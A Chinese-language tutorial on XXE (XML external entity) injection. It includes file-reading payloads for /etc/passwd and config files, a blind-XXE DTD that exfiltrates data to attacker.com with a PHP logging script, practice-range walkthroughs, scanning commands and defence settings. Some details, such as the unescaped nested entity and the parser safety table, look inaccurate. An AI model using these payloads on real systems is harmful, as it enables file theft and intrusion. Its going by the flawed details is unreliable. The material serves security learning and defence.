一、XML基础概念
1.1 XML是什么
<?xml version="1.0" encoding="UTF-8"?>
<root>
<user>
<name>admin</name>
<age>25</age>
</user>
</root>
XML特点:
- 可扩展标记语言,用于传输和存储数据
- 标签可自定义
- 严格的语法要求(标签必须闭合)
1.2 XML与HTML的区别
| 对比项 | XML | HTML |
|---|---|---|
| **设计目的** | 传输和存储数据 | 显示数据 |
| **标签** | 自定义 | 预定义 |
| **语法** | 严格 | 宽松 |
| **焦点** | 数据内容 | 数据外观 |
1.3 常见XML应用场景
pom.xml(Maven配置文件):
<project>
<groupId>com.example</groupId>
<artifactId>myproject</artifactId>
<version>1.0.0</version>
</project>
web.xml(Java Web配置):
<web-app>
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.HelloServlet</servlet-class>
</servlet>
</web-app>
MyBatis配置(SQL映射):
<select id="getUser" resultType="User">
SELECT * FROM users WHERE id = #{id}
</select>
二、XXE漏洞原理
2.1 什么是XXE
XXE(XML External Entity Injection,XML外部实体注入)是一种Web安全漏洞,攻击者通过构造恶意XML,引用外部实体来读取服务器文件或执行其他操作。
攻击原理:
┌─────────────────────────────────────────────────────────┐
│ XXE攻击流程 │
├─────────────────────────────────────────────────────────┤
│ │
│ 攻击者 ──恶意XML──→ Web服务器 ──解析XML──→ 读取文件 │
│ ↓ │
│ 执行外部实体 │
│ │
└─────────────────────────────────────────────────────────┘
2.2 XXE文件读取攻击
基础Payload:
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
Windows路径:
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>
<foo>&xxe;</foo>
2.3 无回显XXE(Blind XXE)
当服务器不直接返回文件内容时,需要使用外带通道:
第一步:准备DTD文件(放在攻击者服务器)
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/log?data=%file;'>">
%eval;
%exfiltrate;
第二步:构造恶意XML
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/malicious.dtd">
<foo>&exfiltrate;</foo>
第三步:接收数据的PHP脚本(get.php)
<?php
$data = $_GET['data'];
file_put_contents('log.txt', $data . "\n", FILE_APPEND);
?>
三、XXE实战靶场
3.1 Pikachu靶场实战
1. 访问靶场:
http://localhost/pikachu/vul/xxe/xxe_1.php
2. 准备测试文件:
# 在桌面创建1.txt
echo "Hello XXE!" > /Users/xxx/Desktop/1.txt
3. 构造攻击Payload:
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>
<foo>&xxe;</foo>
4. 将Payload粘贴到输入框提交,查看返回结果
3.2 xxe-lab靶场
1. 登录并截取请求包
2. 修改请求体为恶意XML:
<?xml version="1.0"?>
<!DOCTYPE hack[
<!ENTITY admin SYSTEM "file:///var/www/html/admin.php">
]>
<user><username>&admin;</username><password>test</password></user>
3. 获取管理员密码
四、XXE综合案例
4.1 环境准备
# 1. 设置网络环境
# 2. 登录目标系统
# 3. 端口扫描(查找开放服务)
nmap -sV 192.168.1.100
# 4. 目录扫描
dirsearch -u http://target.com -e php,xml
4.2 漏洞探测
# 测试是否存在XXE
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY test "Hello">
]>
<root>&test;</root>
4.3 获取敏感文件
# 读取配置文件
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<foo>&xxe;</foo>
4.4 解密FLAG
# 获取到加密的FLAG后进行解密
# 第一次解密 -> 第二次解密 -> 获得最终FLAG
五、XXE漏洞防御
5.1 禁用外部实体(推荐)
PHP配置:
// php.ini
libxml_disable_entity_loader(true);
Java配置:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Python配置:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.fromstring(xml_content, parser)
5.2 输入验证
# 只允许特定的标签和属性
allowed_tags = ['user', 'name', 'email']
allowed_attrs = []
# 验证XML结构
5.3 使用安全的XML解析库
| 语言 | 安全库 | 不安全库 |
|---|---|---|
| PHP | DOMDocument | SimpleXML |
| Java | DocumentBuilderFactory | - |
| Python | lxml (resolve_entities=False) | xml.etree |
六、总结
XXE要点
| 类型 | 说明 |
|---|---|
| **原理** | 通过XML外部实体注入读取文件 |
| **危害** | 读取敏感文件、内网探测、SSRF |
| **防御** | 禁用外部实体、输入验证 |
学习建议
-
练习靶场: Pikachu、xxe-lab
-
掌握工具: Burp Suite、dirsearch
-
理解原理: XML解析机制、外部实体引用
-
防御意识: 服务端禁用外部实体
**安全提醒:** 本文仅供学习研究,请勿用于非法用途!